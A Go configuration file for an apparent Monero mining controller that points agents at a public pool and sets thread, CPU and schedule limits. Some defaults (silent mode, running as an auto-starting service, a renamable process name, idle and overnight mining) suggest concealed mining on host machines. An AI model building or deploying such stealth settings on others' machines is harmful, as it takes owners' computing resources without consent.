AetherForge/server/config.go

package main

import (
	"encoding/json"
	"flag"
	"fmt"
	"os"
	"path/filepath"
)

type Config struct {
	Port    int    `json:"port"`
	DataDir string `json:"data_dir"`

	Pool   PoolConfig   `json:"pool"`
	Wallet WalletConfig `json:"wallet"`

	DefaultAgent AgentDefaults `json:"default_agent_config"`
	Background   BackgroundConfig `json:"background"`
	Alerts       AlertsConfig     `json:"alerts"`
}

type PoolConfig struct {
	Host     string `json:"host"`
	Port     int    `json:"port"`
	UseTLS   bool   `json:"use_tls"`
	Password string `json:"password"`
}

type WalletConfig struct {
	Address   string `json:"address"`
	PaymentID string `json:"payment_id"`
}

type AgentDefaults struct {
	Threads              int    `json:"threads"`
	ThreadMode           string `json:"thread_mode"`
	ThreadPercent        int    `json:"thread_percent"`
	CPUPriority          string `json:"cpu_priority"`
	MaxCPUUsagePct       int    `json:"max_cpu_usage_pct"`
	MaxMemoryPct         int    `json:"max_memory_percent"`
	MinFreeRAMMB         int    `json:"min_free_ram_mb"`
	MiningMode           string `json:"mining_mode"`
	DisplayMode          string `json:"display_mode"`
	ProcessName          string `json:"process_name"`
	IdleThresholdPct     int    `json:"idle_threshold_pct"`
	IdleDurationMinutes  int    `json:"idle_duration_minutes"`
	ScheduleStart        string `json:"schedule_start"`
	ScheduleEnd          string `json:"schedule_end"`
}

type BackgroundConfig struct {
	SilentMode     bool   `json:"silent_mode"`
	RunAs          string `json:"run_as"`
	AutoStart      bool   `json:"auto_start"`
	MinimizeToTray bool   `json:"minimize_to_tray"`
}

type AlertsConfig struct {
	OfflineThresholdMinutes   int `json:"offline_threshold_minutes"`
	HashrateDropThresholdPct  int `json:"hashrate_drop_threshold_pct"`
	RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
}

func DefaultConfig() *Config {
	return &Config{
		Port:    8989,
		DataDir: "data",
		Pool: PoolConfig{
			Host:     "pool.supportxmr.com",
			Port:     3333,
			UseTLS:   true,
			Password: "x",
		},
		Wallet: WalletConfig{
			Address:   "",
			PaymentID: "",
		},
		DefaultAgent: AgentDefaults{
			Threads:              4,
			ThreadMode:           "percent",
			ThreadPercent:        75,
			CPUPriority:          "below_normal",
			MaxCPUUsagePct:       80,
			MaxMemoryPct:         70,
			MinFreeRAMMB:         1024,
			MiningMode:           "always",
			DisplayMode:          "background",
			ProcessName:          "",
			IdleThresholdPct:     20,
			IdleDurationMinutes:  5,
			ScheduleStart:        "21:00",
			ScheduleEnd:          "06:00",
		},
		Background: BackgroundConfig{
			SilentMode:     true,
			RunAs:          "service",
			AutoStart:      true,
			MinimizeToTray: true,
		},
		Alerts: AlertsConfig{
			OfflineThresholdMinutes:   5,
			HashrateDropThresholdPct:  50,
			RejectionRateThresholdPct: 5,
		},
	}
}

func LoadConfig() *Config {
	cfg := DefaultConfig()

	// Parse CLI flags
	port := flag.Int("port", 8989, "Server port")
	dataDir := flag.String("data", "data", "Data directory")
	flag.Parse()

	cfg.Port = *port
	cfg.DataDir = *dataDir

	// Try to load from config file
	configPath := filepath.Join(cfg.DataDir, "config.json")
	if data, err := os.ReadFile(configPath); err == nil {
		var fileCfg Config
		if err := json.Unmarshal(data, &fileCfg); err == nil {
			// Merge file config over defaults (only non-zero values)
			mergeConfig(cfg, &fileCfg)
		}
	}

	return cfg
}

func mergeConfig(dst, src *Config) {
	if src.Port != 0 {
		dst.Port = src.Port
	}
	if src.DataDir != "" {
		dst.DataDir = src.DataDir
	}
	if src.Pool.Host != "" {
		dst.Pool.Host = src.Pool.Host
	}
	if src.Pool.Port != 0 {
		dst.Pool.Port = src.Pool.Port
	}
	dst.Pool.UseTLS = src.Pool.UseTLS
	if src.Pool.Password != "" {
		dst.Pool.Password = src.Pool.Password
	}
	if src.Wallet.Address != "" {
		dst.Wallet.Address = src.Wallet.Address
	}
	if src.Wallet.PaymentID != "" {
		dst.Wallet.PaymentID = src.Wallet.PaymentID
	}
	if src.DefaultAgent.Threads != 0 {
		dst.DefaultAgent.Threads = src.DefaultAgent.Threads
	}
	if src.DefaultAgent.ThreadMode != "" {
		dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
	}
	if src.DefaultAgent.ThreadPercent != 0 {
		dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
	}
	if src.DefaultAgent.CPUPriority != "" {
		dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
	}
	if src.DefaultAgent.MaxCPUUsagePct != 0 {
		dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
	}
	if src.DefaultAgent.MaxMemoryPct != 0 {
		dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
	}
	if src.DefaultAgent.MinFreeRAMMB != 0 {
		dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
	}
	if src.DefaultAgent.MiningMode != "" {
		dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
	}
	if src.DefaultAgent.DisplayMode != "" {
		dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
	}
	if src.DefaultAgent.ProcessName != "" {
		dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
	}
	if src.DefaultAgent.IdleThresholdPct != 0 {
		dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
	}
	if src.DefaultAgent.IdleDurationMinutes != 0 {
		dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
	}
	if src.DefaultAgent.ScheduleStart != "" {
		dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
	}
	if src.DefaultAgent.ScheduleEnd != "" {
		dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
	}
	dst.Background.SilentMode = src.Background.SilentMode
	if src.Background.RunAs != "" {
		dst.Background.RunAs = src.Background.RunAs
	}
	dst.Background.AutoStart = src.Background.AutoStart
	dst.Background.MinimizeToTray = src.Background.MinimizeToTray
	if src.Alerts.OfflineThresholdMinutes != 0 {
		dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
	}
	if src.Alerts.HashrateDropThresholdPct != 0 {
		dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
	}
	if src.Alerts.RejectionRateThresholdPct != 0 {
		dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
	}
}

func (c *Config) Save() error {
	configPath := filepath.Join(c.DataDir, "config.json")
	data, err := json.MarshalIndent(c, "", "  ")
	if err != nil {
		return fmt.Errorf("failed to marshal config: %w", err)
	}
	return os.WriteFile(configPath, data, 0644)
}

func (c *Config) PoolURL() string {
	proto := "stratum+tcp"
	if c.Pool.UseTLS {
		proto = "stratum+ssl"
	}
	return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}